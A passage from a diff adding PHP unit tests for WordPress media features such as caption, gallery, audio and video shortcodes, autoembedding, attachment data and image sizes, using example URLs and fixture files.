+	function test_img_caption_shortcode_short_circuit_filter() {
+		add_filter( 'img_caption_shortcode', array( $this, '_return_alt_caption' ) );
+
+		$result = img_caption_shortcode( array(), $this->caption );
+		$this->assertEquals( $this->alternate_caption, $result );
+	}
+
+	/**
+	 * Filter used in test_img_caption_shortcode_short_circuit_filter()
+	 */
+	function _return_alt_caption() {
+		return $this->alternate_caption;
+	}
+
+	/**
+	 * @ticket 33981
+	 */
+	function test_img_caption_shortcode_empty_width() {
+		$result = img_caption_shortcode(
+			array(
+				'width' => 0,
+			),
+			$this->caption
+		);
+		$this->assertEquals( $this->caption, $result );
+	}
+
+	/**
+	 * @ticket 33981
+	 */
+	function test_img_caption_shortcode_empty_caption() {
+		$result = img_caption_shortcode(
+			array(
+				'caption' => '',
+			)
+		);
+		$this->assertNull( $result );
+	}
+
+	/**
+	 * @ticket 33981
+	 */
+	function test_img_caption_shortcode_empty_caption_and_content() {
+		$result = img_caption_shortcode(
+			array(
+				'caption' => '',
+			),
+			$this->caption
+		);
+		$this->assertEquals( $this->caption, $result );
+	}
+
+	function test_img_caption_shortcode_with_old_format() {
+		$result = img_caption_shortcode(
+			array( 'width' => 20, 'caption' => $this->caption )
+		);
+
+		$this->assertEquals( 2, preg_match_all( '/wp-caption/', $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( '/alignnone/', $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( "/{$this->caption}/", $result, $_r ) );
+
+		if ( current_theme_supports( 'html5', 'caption' ) ) {
+			$this->assertEquals( 1, preg_match_all( '/width: 20/', $result, $_r ) );
+		} else {
+			$this->assertEquals( 1, preg_match_all( '/width: 30/', $result, $_r ) );
+		}
+	}
+
+	function test_img_caption_shortcode_with_old_format_id_and_align() {
+		$result = img_caption_shortcode(
+			array(
+				'width' => 20,
+				'caption' => $this->caption,
+				'id' => '"myId',
+				'align' => '&myAlignment'
+			)
+		);
+		$this->assertEquals( 1, preg_match_all( '/wp-caption &amp;myAlignment/', $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( '/id="myId"/', $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( "/{$this->caption}/", $result, $_r ) );
+	}
+
+	function test_img_caption_shortcode_with_old_format_and_class() {
+		$result = img_caption_shortcode(
+			array(
+				'width' => 20,
+				'class' => 'some-class another-class',
+				'caption' => $this->caption,
+			)
+		);
+		$this->assertEquals( 1, preg_match_all( '/wp-caption alignnone some-class another-class/', $result, $_r ) );
+
+	}
+
+	function test_new_img_caption_shortcode_with_html_caption() {
+		$result = img_caption_shortcode(
+			array( 'width' => 20, 'caption' => $this->html_content )
+		);
+		$our_preg = preg_quote( $this->html_content );
+
+		$this->assertEquals( 1, preg_match_all( "~{$our_preg}~", $result, $_r ) );
+	}
+
+	function test_new_img_caption_shortcode_new_format() {
+		$result = img_caption_shortcode(
+			array( 'width' => 20 ),
+			$this->img_content . $this->html_content
+		);
+		$img_preg = preg_quote( $this->img_content );
+		$content_preg = preg_quote( $this->html_content );
+
+		$this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) );
+	}
+
+	function test_new_img_caption_shortcode_new_format_and_linked_image() {
+		$linked_image = "<a href='#'>{$this->img_content}</a>";
+		$result = img_caption_shortcode(
+			array( 'width' => 20 ),
+			$linked_image . $this->html_content
+		);
+		$img_preg = preg_quote( $linked_image );
+		$content_preg = preg_quote( $this->html_content );
+
+		$this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) );
+	}
+
+	function test_new_img_caption_shortcode_new_format_and_linked_image_with_newline() {
+		$linked_image = "<a href='#'>{$this->img_content}</a>";
+		$result = img_caption_shortcode(
+			array( 'width' => 20 ),
+			$linked_image . "\n\n" . $this->html_content
+		);
+		$img_preg = preg_quote( $linked_image );
+		$content_preg = preg_quote( $this->html_content );
+
+		$this->assertEquals( 1, preg_match_all( "~{$img_preg}.*wp-caption-text~", $result, $_r ) );
+		$this->assertEquals( 1, preg_match_all( "~wp-caption-text.*{$content_preg}~", $result, $_r ) );
+	}
+
+	function test_add_remove_oembed_provider() {
+		wp_oembed_add_provider( 'http://foo.bar/*', 'http://foo.bar/oembed' );
+		$this->assertTrue( wp_oembed_remove_provider( 'http://foo.bar/*' ) );
+		$this->assertFalse( wp_oembed_remove_provider( 'http://foo.bar/*' ) );
+	}
+
+	/**
+	 * @ticket 23776
+	 */
+	function test_autoembed_empty() {
+		global $wp_embed;
+
+		$content = '';
+
+		$result = $wp_embed->autoembed( $content );
+		$this->assertEquals( $content, $result );
+	}
+
+	/**
+	 * @ticket 23776
+	 */
+	function test_autoembed_no_paragraphs_around_urls() {
+		global $wp_embed;
+
+		$content = <<<EOF
+$ my command
+First line.
+
+http://example.com/1/
+http://example.com/2/
+Last line.
+
+<pre>http://some.link/
+http://some.other.link/</pre>
+EOF;
+
+		$result = $wp_embed->autoembed( $content );
+		$this->assertEquals( $content, $result );
+	}
+
+	function data_autoembed() {
+		return array(
+
+			// Should embed
+			array(
+'https://w.org',
+'[embed]'
+			),
+			array(
+'test
+ https://w.org
+test',
+'test
+ [embed]
+test'
+			),
+			array(
+'<p class="test">https://w.org</p>',
+'<p class="test">[embed]</p>'
+			),
+			array(
+'<p> https://w.org </p>',
+'<p> [embed] </p>'
+			),
+			array(
+'<p>test
+https://w.org
+test</p>',
+'<p>test
+[embed]
+test</p>'
+			),
+			array(
+'<p>https://w.org
+</p>',
+'<p>[embed]
+</p>'
+			),
+
+			// Should NOT embed
+			array(
+'test https://w.org</p>'
+			),
+			array(
+'<span>https://w.org</a>'
+			),
+			array(
+'<pre>https://w.org
+</p>'
+			),
+			array(
+'<a href="https://w.org">
+https://w.org</a>'
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider data_autoembed
+	 */
+	function test_autoembed( $content, $result = null ) {
+		$wp_embed = new Test_Autoembed;
+
+		$this->assertEquals( $wp_embed->autoembed( $content ), $result ? $result : $content );
+	}
+
+	function test_wp_prepare_attachment_for_js() {
+		// Attachment without media
+		$id = wp_insert_attachment(array(
+			'post_status' => 'publish',
+			'post_title' => 'Prepare',
+			'post_content_filtered' => 'Prepare',
+			'post_type' => 'post'
+		));
+		$post = get_post( $id );
+
+		$prepped = wp_prepare_attachment_for_js( $post );
+		$this->assertInternalType( 'array', $prepped );
+		$this->assertEquals( 0, $prepped['uploadedTo'] );
+		$this->assertEquals( '', $prepped['mime'] );
+		$this->assertEquals( '', $prepped['type'] );
+		$this->assertEquals( '', $prepped['subtype'] );
+		// #21963, there will be a guid always, so there will be a URL
+		$this->assertNotEquals( '', $prepped['url'] );
+		$this->assertEquals( site_url( 'wp-includes/images/media/default.png' ), $prepped['icon'] );
+
+		// Fake a mime
+		$post->post_mime_type = 'image/jpeg';
+		$prepped = wp_prepare_attachment_for_js( $post );
+		$this->assertEquals( 'image/jpeg', $prepped['mime'] );
+		$this->assertEquals( 'image', $prepped['type'] );
+		$this->assertEquals( 'jpeg', $prepped['subtype'] );
+
+		// Fake a mime without a slash. See #WP22532
+		$post->post_mime_type = 'image';
+		$prepped = wp_prepare_attachment_for_js( $post );
+		$this->assertEquals( 'image', $prepped['mime'] );
+		$this->assertEquals( 'image', $prepped['type'] );
+		$this->assertEquals( '', $prepped['subtype'] );
+
+		// Test that if author is not found, we return "(no author)" as `display_name`.
+		// The previously used test post contains no author, so we can reuse it.
+		$this->assertEquals( '(no author)', $prepped['authorName'] );
+
+		// Test that if author has HTML entities in display_name, they're decoded correctly.
+		$html_entity_author = self::factory()->user->create( array(
+			'display_name' => 'You &amp; Me',
+		) );
+		$post->post_author = $html_entity_author;
+		$prepped = wp_prepare_attachment_for_js( $post );
+		$this->assertEquals( 'You & Me', $prepped['authorName'] );
+	}
+
+	/**
+	 * @ticket 38965
+	 */
+	function test_wp_prepare_attachment_for_js_without_image_sizes() {
+		// Create the attachement post.
+		$id = wp_insert_attachment( array(
+			'post_title' => 'Attachment Title',
+			'post_type' => 'attachment',
+			'post_parent' => 0,
+			'post_mime_type' => 'image/jpeg',
+			'guid' => 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/test-image.jpg',
+		) );
+
+		// Add attachment metadata without sizes.
+		wp_update_attachment_metadata( $id, array(
+			'width' => 50,
+			'height' => 50,
+			'file' => 'test-image.jpg',
+		) );
+
+		$prepped = wp_prepare_attachment_for_js( get_post( $id ) );
+
+		$this->assertTrue( isset( $prepped['sizes'] ) );
+	}
+
+	/**
+	 * @ticket 19067
+	 * @expectedDeprecated wp_convert_bytes_to_hr
+	 */
+	function test_wp_convert_bytes_to_hr() {
+		$kb = 1024;
+		$mb = $kb * 1024;
+		$gb = $mb * 1024;
+		$tb = $gb * 1024;
+
+		// test if boundaries are correct
+		$this->assertEquals( '1TB', wp_convert_bytes_to_hr( $tb ) );
+		$this->assertEquals( '1GB', wp_convert_bytes_to_hr( $gb ) );
+		$this->assertEquals( '1MB', wp_convert_bytes_to_hr( $mb ) );
+		$this->assertEquals( '1KB', wp_convert_bytes_to_hr( $kb ) );
+
+		$this->assertEquals( '1 TB', size_format( $tb ) );
+		$this->assertEquals( '1 GB', size_format( $gb ) );
+		$this->assertEquals( '1 MB', size_format( $mb ) );
+		$this->assertEquals( '1 KB', size_format( $kb ) );
+
+		// now some values around
+		$hr = wp_convert_bytes_to_hr( $tb + $tb / 2 + $mb );
+		$this->assertEquals( 1.50000095367, (float) str_replace( ',', '.', $hr ), 'The values should be equal', 0.0001 );
+
+		$hr = wp_convert_bytes_to_hr( $tb - $mb - $kb );
+		$this->assertEquals( 1023.99902248, (float) str_replace( ',', '.', $hr ), 'The values should be equal', 0.0001 );
+
+		$hr = wp_convert_bytes_to_hr( $gb + $gb / 2 + $mb );
+		$this->assertEquals( 1.5009765625, (float) str_replace( ',', '.', $hr ), 'The values should be equal', 0.0001 );
+
+		$hr = wp_convert_bytes_to_hr( $gb - $mb - $kb );
+		$this->assertEquals( 1022.99902344, (float) str_replace( ',', '.', $hr ), 'The values should be equal', 0.0001 );
+
+		// edge
+		$this->assertEquals( '-1B', wp_convert_bytes_to_hr( -1 ) );
+		$this->assertEquals( '0B', wp_convert_bytes_to_hr( 0 ) );
+	}
+
+	/**
+	 * @ticket 22960
+	 */
+	function test_get_attached_images() {
+		$post_id = self::factory()->post->create();
+		$attachment_id = self::factory()->attachment->create_object( $this->img_name, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+
+		$images = get_attached_media( 'image', $post_id );
+		$this->assertEquals( $images, array( $attachment_id => get_post( $attachment_id ) ) );
+	}
+
+	/**
+	 * @ticket 22960
+	 */
+	function test_post_galleries_images() {
+		$ids1 = array();
+		$ids1_srcs = array();
+		foreach ( range( 1, 3 ) as $i ) {
+			$attachment_id = self::factory()->attachment->create_object( "image$i.jpg", 0, array(
+				'post_mime_type' => 'image/jpeg',
+				'post_type' => 'attachment'
+			) );
+			$metadata = array_merge( array( "file" => "image$i.jpg" ), $this->img_meta );
+			wp_update_attachment_metadata( $attachment_id, $metadata );
+			$ids1[] = $attachment_id;
+			$ids1_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+		}
+
+		$ids2 = array();
+		$ids2_srcs = array();
+		foreach ( range( 4, 6 ) as $i ) {
+			$attachment_id = self::factory()->attachment->create_object( "image$i.jpg", 0, array(
+				'post_mime_type' => 'image/jpeg',
+				'post_type' => 'attachment'
+			) );
+			$metadata = array_merge( array( "file" => "image$i.jpg" ), $this->img_meta );
+			wp_update_attachment_metadata( $attachment_id, $metadata );
+			$ids2[] = $attachment_id;
+			$ids2_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+		}
+
+		$ids1_joined = join( ',', $ids1 );
+		$ids2_joined = join( ',', $ids2 );
+
+		$blob =<<<BLOB
+[gallery ids="$ids1_joined"]
+
+[gallery ids="$ids2_joined"]
+BLOB;
+		$post_id = self::factory()->post->create( array( 'post_content' => $blob ) );
+		$srcs = get_post_galleries_images( $post_id );
+		$this->assertEquals( $srcs, array( $ids1_srcs, $ids2_srcs ) );
+	}
+
+	/**
+	 * @ticket 39304
+	 */
+	function test_post_galleries_images_without_global_post() {
+		// Set up an unattached image.
+		$this->factory->attachment->create_object( array(
+			'file' => 'test.jpg',
+			'post_parent' => 0,
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+
+		$post_id = $this->factory->post->create( array(
+			'post_content' => '[gallery]',
+		) );
+
+		$galleries = get_post_galleries( $post_id, false );
+
+		$this->assertEmpty( $galleries[0]['src'] );
+	}
+
+	/**
+	 * @ticket 39304
+	 */
+	function test_post_galleries_ignores_global_post() {
+		$global_post_id = $this->factory->post->create( array(
+			'post_content' => 'Global Post',
+		) );
+		$post_id = $this->factory->post->create( array(
+			'post_content' => '[gallery]',
+		) );
+		$this->factory->attachment->create_object( array(
+			'file' => 'test.jpg',
+			'post_parent' => $post_id,
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+		$expected_srcs = array(
+			'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/test.jpg'
+		);
+
+		// Set the global $post context to the other post.
+		$GLOBALS['post'] = get_post( $global_post_id );
+
+		$galleries = get_post_galleries( $post_id, false );
+
+		$this->assertNotEmpty( $galleries[0]['src'] );
+		$this->assertSame( $galleries[0]['src'], $expected_srcs );
+	}
+
+	/**
+	 * @ticket 39304
+	 */
+	function test_post_galleries_respects_id_attrs() {
+		$post_id = $this->factory->post->create( array(
+			'post_content' => 'No gallery defined',
+		) );
+		$post_id_two = $this->factory->post->create( array(
+			'post_content' => "[gallery id='$post_id']",
+		) );
+		$this->factory->attachment->create_object( array(
+			'file' => 'test.jpg',
+			'post_parent' => $post_id,
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+		$expected_srcs = array(
+			'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/test.jpg'
+		);
+
+		$galleries = get_post_galleries( $post_id_two, false );
+
+		// Set the global $post context
+		$GLOBALS['post'] = get_post( $post_id_two );
+		$galleries_with_global_context = get_post_galleries( $post_id_two, false );
+
+		// Check that the global post state doesn't affect the results
+		$this->assertSame( $galleries, $galleries_with_global_context );
+
+		$this->assertNotEmpty( $galleries[0]['src'] );
+		$this->assertSame( $galleries[0]['src'], $expected_srcs );
+	}
+
+	/**
+	 * @ticket 22960
+	 */
+	function test_post_gallery_images() {
+		$ids1 = array();
+		$ids1_srcs = array();
+		foreach ( range( 1, 3 ) as $i ) {
+			$attachment_id = self::factory()->attachment->create_object( "image$i.jpg", 0, array(
+				'post_mime_type' => 'image/jpeg',
+				'post_type' => 'attachment'
+			) );
+			$metadata = array_merge( array( "file" => "image$i.jpg" ), $this->img_meta );
+			wp_update_attachment_metadata( $attachment_id, $metadata );
+			$ids1[] = $attachment_id;
+			$ids1_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+		}
+
+		$ids2 = array();
+		$ids2_srcs = array();
+		foreach ( range( 4, 6 ) as $i ) {
+			$attachment_id = self::factory()->attachment->create_object( "image$i.jpg", 0, array(
+				'post_mime_type' => 'image/jpeg',
+				'post_type' => 'attachment'
+			) );
+			$metadata = array_merge( array( "file" => "image$i.jpg" ), $this->img_meta );
+			wp_update_attachment_metadata( $attachment_id, $metadata );
+			$ids2[] = $attachment_id;
+			$ids2_srcs[] = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . "image$i.jpg";
+		}
+
+		$ids1_joined = join( ',', $ids1 );
+		$ids2_joined = join( ',', $ids2 );
+
+		$blob =<<<BLOB
+[gallery ids="$ids1_joined"]
+
+[gallery ids="$ids2_joined"]
+BLOB;
+		$post_id = self::factory()->post->create( array( 'post_content' => $blob ) );
+		$srcs = get_post_gallery_images( $post_id );
+		$this->assertEquals( $srcs, $ids1_srcs );
+	}
+
+	function test_get_media_embedded_in_content() {
+		$object =<<<OBJ
+<object src="this" data="that">
+	<param name="value"/>
+</object>
+OBJ;
+		$embed =<<<EMBED
+<embed src="something.mp4"/>
+EMBED;
+		$iframe =<<<IFRAME
+<iframe src="youtube.com" width="7000" />
+IFRAME;
+		$audio =<<<AUDIO
+<audio preload="none">
+	<source />
+</audio>
+AUDIO;
+		$video =<<<VIDEO
+<video preload="none">
+	<source />
+</video>
+VIDEO;
+
+		$content =<<<CONTENT
+This is a comment
+$object
+
+This is a comment
+$embed
+
+This is a comment
+$iframe
+
+This is a comment
+$audio
+
+This is a comment
+$video
+
+This is a comment
+CONTENT;
+
+		$types = array( 'object', 'embed', 'iframe', 'audio', 'video' );
+		$contents = array_values( compact( $types ) );
+
+		$matches = get_media_embedded_in_content( $content, 'audio' );
+		$this->assertEquals( array( $audio ), $matches );
+
+		$matches = get_media_embedded_in_content( $content, 'video' );
+		$this->assertEquals( array( $video ), $matches );
+
+		$matches = get_media_embedded_in_content( $content, 'object' );
+		$this->assertEquals( array( $object ), $matches );
+
+		$matches = get_media_embedded_in_content( $content, 'embed' );
+		$this->assertEquals( array( $embed ), $matches );
+
+		$matches = get_media_embedded_in_content( $content, 'iframe' );
+		$this->assertEquals( array( $iframe ), $matches );
+
+		$matches = get_media_embedded_in_content( $content, $types );
+		$this->assertEquals( $contents, $matches );
+	}
+
+	function test_get_media_embedded_in_content_order() {
+		$audio =<<<AUDIO
+<audio preload="none">
+	<source />
+</audio>
+AUDIO;
+		$video =<<<VIDEO
+<video preload="none">
+	<source />
+</video>
+VIDEO;
+		$content = $audio . $video;
+
+		$matches1 = get_media_embedded_in_content( $content, array( 'audio', 'video' ) );
+		$this->assertEquals( array( $audio, $video ), $matches1 );
+
+		$reversed = $video . $audio;
+		$matches2 = get_media_embedded_in_content( $reversed, array( 'audio', 'video' ) );
+		$this->assertEquals( array( $video, $audio ), $matches2 );
+	}
+
+	/**
+	 * @ticket 35367
+	 */
+	function test_wp_audio_shortcode_with_empty_params() {
+		$this->assertNull( wp_audio_shortcode( array() ) );
+	}
+
+	/**
+	 * @ticket 35367
+	 */
+	function test_wp_audio_shortcode_with_bad_attr() {
+		$this->assertSame(
+			'<a class="wp-embedded-audio" href="https://example.com/foo.php">https://example.com/foo.php</a>',
+			wp_audio_shortcode( array(
+				'src' => 'https://example.com/foo.php',
+			) )
+		);
+	}
+
+	/**
+	 * @ticket 35367
+	 */
+	function test_wp_audio_shortcode_attributes() {
+		$actual = wp_audio_shortcode( array(
+			'src' => 'https://example.com/foo.mp3',
+		) );
+
+		$this->assertContains( 'src="https://example.com/foo.mp3', $actual );
+		$this->assertNotContains( 'loop', $actual );
+		$this->assertNotContains( 'autoplay', $actual );
+		$this->assertContains( 'preload="none"', $actual );
+		$this->assertContains( 'class="wp-audio-shortcode"', $actual );
+		$this->assertContains( 'style="width: 100%;"', $actual );
+
+		$actual = wp_audio_shortcode( array(
+			'src'      => 'https://example.com/foo.mp3',
+			'loop'     => true,
+			'autoplay' => true,
+			'preload'  => true,
+			'class'    => 'foobar',
+			'style'    => 'padding:0;',
+		) );
+
+		$this->assertContains( 'src="https://example.com/foo.mp3', $actual );
+		$this->assertContains( 'loop="1"', $actual );
+		$this->assertContains( 'autoplay="1"', $actual );
+		$this->assertContains( 'preload="1"', $actual );
+		$this->assertContains( 'class="foobar"', $actual );
+		$this->assertContains( 'style="padding:0;"', $actual );
+	}
+
+	/**
+	 * Test [video] shortcode processing
+	 *
+	 */
+	function test_video_shortcode_body() {
+		$width = 720;
+		$height = 480;
+
+		$w = empty( $GLOBALS['content_width'] ) ? 640 : $GLOBALS['content_width'];
+		if ( $width > $w ) {
+			$width = $w;
+		}
+
+		$post_id = get_post() ? get_the_ID() : 0;
+
+		$video =<<<VIDEO
+[video width="$width" height="480" mp4="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4"]
+<!-- WebM/VP8 for Firefox4, Opera, and Chrome -->
+<source type="video/webm" src="myvideo.webm" />
+<!-- Ogg/Vorbis for older Firefox and Opera versions -->
+<source type="video/ogg" src="myvideo.ogv" />
+<!-- Optional: Add subtitles for each language -->
+<track kind="subtitles" src="subtitles.srt" srclang="en" />
+<!-- Optional: Add chapters -->
+<track kind="chapters" src="chapters.srt" srclang="en" />
+[/video]
+VIDEO;
+
+
+		$h = ceil( ( $height * $width ) / $width );
+
+		$content = apply_filters( 'the_content', $video );
+
+		$expected = '<div style="width: ' . $width . 'px;" class="wp-video">' .
+			"<!--[if lt IE 9]><script>document.createElement('video');</script><![endif]-->\n" .
+			'<video class="wp-video-shortcode" id="video-' . $post_id . '-1" width="' . $width . '" height="' . $h . '" preload="metadata" controls="controls">' .
+			'<source type="video/mp4" src="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4?_=1" />' .
+			'<!-- WebM/VP8 for Firefox4, Opera, and Chrome --><source type="video/webm" src="myvideo.webm" />' .
+			'<!-- Ogg/Vorbis for older Firefox and Opera versions --><source type="video/ogg" src="myvideo.ogv" />' .
+			'<!-- Optional: Add subtitles for each language --><track kind="subtitles" src="subtitles.srt" srclang="en" />' .
+			'<!-- Optional: Add chapters --><track kind="chapters" src="chapters.srt" srclang="en" />' .
+			'<a href="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4">' .
+			"http://domain.tld/wp-content/uploads/2013/12/xyz.mp4</a></video></div>\n";
+
+		$this->assertEquals( $expected, $content );
+	}
+
+	/**
+	 * @ticket  35367
+	 * @depends test_video_shortcode_body
+	 */
+	function test_wp_video_shortcode_with_empty_params() {
+		$this->assertNull( wp_video_shortcode( array() ) );
+	}
+
+	/**
+	 * @ticket  35367
+	 * @depends test_video_shortcode_body
+	 */
+	function test_wp_video_shortcode_with_bad_attr() {
+		$this->assertSame(
+			'<a class="wp-embedded-video" href="https://example.com/foo.php">https://example.com/foo.php</a>',
+			wp_video_shortcode( array(
+				'src' => 'https://example.com/foo.php',
+			) )
+		);
+	}
+
+	/**
+	 * @ticket  35367
+	 * @depends test_video_shortcode_body
+	 */
+	function test_wp_video_shortcode_attributes() {
+		$actual = wp_video_shortcode( array(
+			'src' => 'https://example.com/foo.mp4',
+		) );
+
+		$this->assertContains( 'src="https://example.com/foo.mp4', $actual );
+		$this->assertNotContains( 'loop', $actual );
+		$this->assertNotContains( 'autoplay', $actual );
+		$this->assertContains( 'preload="metadata"', $actual );
+		$this->assertContains( 'width="640"', $actual );
+		$this->assertContains( 'height="360"', $actual );
+		$this->assertContains( 'class="wp-video-shortcode"', $actual );
+
+		$actual = wp_video_shortcode( array(
+			'src'      => 'https://example.com/foo.mp4',
+			'poster'   => 'https://example.com/foo.png',
+			'loop'     => true,
+			'autoplay' => true,
+			'preload'  => true,
+			'width'    => 123,
+			'height'   => 456,
+			'class'    => 'foobar',
+		) );
+
+		$this->assertContains( 'src="https://example.com/foo.mp4', $actual );
+		$this->assertContains( 'poster="https://example.com/foo.png', $actual );
+		$this->assertContains( 'loop="1"', $actual );
+		$this->assertContains( 'autoplay="1"', $actual );
+		$this->assertContains( 'preload="1"', $actual );
+		$this->assertContains( 'width="123"', $actual );
+		$this->assertContains( 'height="456"', $actual );
+		$this->assertContains( 'class="foobar"', $actual );
+	}
+
+	/**
+	 * @ticket 40866
+	 * @depends test_video_shortcode_body
+	 */
+	function test_wp_video_shortcode_youtube_remove_feature() {
+		$actual = wp_video_shortcode( array(
+			'src' => 'https://www.youtube.com/watch?v=i_cVJgIz_Cs&feature=youtu.be',
+		) );
+
+		$this->assertNotContains( 'feature=youtu.be', $actual );
+	}
+
+	/**
+	 * @ticket 40866
+	 * @depends test_video_shortcode_body
+	 */
+	function test_wp_video_shortcode_youtube_force_ssl() {
+		$actual = wp_video_shortcode( array(
+			'src' => 'http://www.youtube.com/watch?v=i_cVJgIz_Cs',
+		) );
+
+		$this->assertContains( 'src="https://www.youtube.com/watch?v=i_cVJgIz_Cs', $actual );
+	}
+
+	/**
+	 * @ticket 40866
+	 * @depends test_video_shortcode_body
+	 */
+	function test_wp_video_shortcode_vimeo_force_ssl_remove_query_args() {
+		$actual = wp_video_shortcode( array(
+			'src' => 'http://vimeo.com/190372437?blah=meh',
+		) );
+
+		$this->assertContains( 'src="https://vimeo.com/190372437', $actual );
+		$this->assertNotContains( 'blah=meh', $actual );
+	}
+
+	/**
+	 * @ticket 40977
+	 * @depends test_video_shortcode_body
+	 */
+	function test_wp_video_shortcode_vimeo_adds_loop() {
+		$actual = wp_video_shortcode( array(
+			'src' => 'http://vimeo.com/190372437',
+		) );
+
+		$this->assertContains( 'src="https://vimeo.com/190372437?loop=0', $actual );
+	}
+
+	/**
+	 * @ticket 40977
+	 * @depends test_video_shortcode_body
+	 */
+	function test_wp_video_shortcode_vimeo_force_adds_loop_true() {
+		$actual = wp_video_shortcode( array(
+			'src' => 'http://vimeo.com/190372437',
+			'loop' => true,
+		) );
+
+		$this->assertContains( 'src="https://vimeo.com/190372437?loop=1', $actual );
+	}
+
+	/**
+	 * @ticket 26768
+	 */
+	function test_add_image_size() {
+		$_wp_additional_image_sizes = wp_get_additional_image_sizes();
+
+		remove_image_size( 'test-size' );
+
+		$this->assertArrayNotHasKey( 'test-size', $_wp_additional_image_sizes );
+		add_image_size( 'test-size', 200, 600 );
+
+		$sizes = wp_get_additional_image_sizes();
+
+		// Clean up
+		remove_image_size( 'test-size' );
+
+		$this->assertArrayHasKey( 'test-size', $sizes );
+		$this->assertEquals( 200, $sizes['test-size']['width'] );
+		$this->assertEquals( 600, $sizes['test-size']['height'] );
+	}
+
+	/**
+	 * @ticket 26768
+	 */
+	function test_remove_image_size() {
+		add_image_size( 'test-size', 200, 600 );
+		$this->assertTrue( has_image_size( 'test-size' ) );
+		remove_image_size( 'test-size' );
+		$this->assertFalse( has_image_size( 'test-size' ) );
+	}
+
+	/**
+	 * @ticket 26951
+	 */
+	function test_has_image_size() {
+		add_image_size( 'test-size', 200, 600 );
+		$this->assertTrue( has_image_size( 'test-size' ) );
+
+		// Clean up
+		remove_image_size( 'test-size' );
+	}
+
+	/**
+	 * @ticket 30346
+	 */
+	function test_attachment_url_to_postid() {
+		$image_path = '2014/11/' . $this->img_name;
+		$attachment_id = self::factory()->attachment->create_object( $image_path, 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type'      => 'attachment',
+		) );
+
+		$image_url  = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $image_path;
+		$this->assertEquals( $attachment_id, attachment_url_to_postid( $image_url ) );
+	}
+
+	function test_attachment_url_to_postid_schemes() {
+		$image_path = '2014/11/' . $this->img_name;
+		$attachment_id = self::factory()->attachment->create_object( $image_path, 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type'      => 'attachment',
+		) );
+
+		/**
+		 * @ticket 33109 Testing protocols not matching
+		 */
+		$image_url  = 'https://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $image_path;
+		$this->assertEquals( $attachment_id, attachment_url_to_postid( $image_url ) );
+	}
+
+	function test_attachment_url_to_postid_filtered() {
+		$image_path = '2014/11/' . $this->img_name;
+		$attachment_id = self::factory()->attachment->create_object( $image_path, 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type'      => 'attachment',
+		) );
+
+		add_filter( 'upload_dir', array( $this, '_upload_dir' ) );
+		$image_url = 'http://192.168.1.20.com/wp-content/uploads/' . $image_path;
+		$this->assertEquals( $attachment_id, attachment_url_to_postid( $image_url ) );
+		remove_filter( 'upload_dir', array( $this, '_upload_dir' ) );
+	}
+
+	function _upload_dir( $dir ) {
+		$dir['baseurl'] = 'http://192.168.1.20.com/wp-content/uploads';
+		return $dir;
+	}
+
+	/**
+	 * @ticket 31044
+	 */
+	function test_attachment_url_to_postid_with_empty_url() {
+		$post_id = attachment_url_to_postid( '' );
+		$this->assertInternalType( 'int', $post_id );
+		$this->assertEquals( 0, $post_id );
+	}
+
+	/**
+	 * @ticket 22768
+	 */
+	public function test_media_handle_upload_sets_post_excerpt() {
+		$iptc_file = DIR_TESTDATA . '/images/test-image-iptc.jpg';
+
+		// Make a copy of this file as it gets moved during the file upload
+		$tmp_name = wp_tempnam( $iptc_file );
+
+		copy( $iptc_file, $tmp_name );
+
+		$_FILES['upload'] = array(
+			'tmp_name' => $tmp_name,
+			'name'     => 'test-image-iptc.jpg',
+			'type'     => 'image/jpeg',
+			'error'    => 0,
+			'size'     => filesize( $iptc_file )
+		);
+
+		$post_id = media_handle_upload( 'upload', 0, array(), array( 'action' => 'test_iptc_upload', 'test_form' => false ) );
+
+		unset( $_FILES['upload'] );
+
+		$post = get_post( $post_id );
+
+		// Clean up.
+		wp_delete_attachment( $post_id );
+
+		$this->assertEquals( 'This is a comment. / Это комментарий. / Βλέπετε ένα σχόλιο.', $post->post_excerpt );
+	}
+
+	/**
+	 * @ticket 37989
+	 */
+	public function test_media_handle_upload_expected_titles() {
+		$test_file = DIR_TESTDATA . '/images/test-image.jpg';
+
+		// Make a copy of this file as it gets moved during the file upload
+		$tmp_name = wp_tempnam( $test_file );
+
+		copy( $test_file, $tmp_name );
+
+		$_FILES['upload'] = array(
+			'tmp_name' => $tmp_name,
+			'name'     => 'This is a test.jpg',
+			'type'     => 'image/jpeg',
+			'error'    => 0,
+			'size'     => filesize( $test_file ),
+		);
+
+		$post_id = media_handle_upload( 'upload', 0, array(), array( 'action' => 'test_upload_titles', 'test_form' => false ) );
+
+		unset( $_FILES['upload'] );
+
+		$post = get_post( $post_id );
+
+		// Clean up.
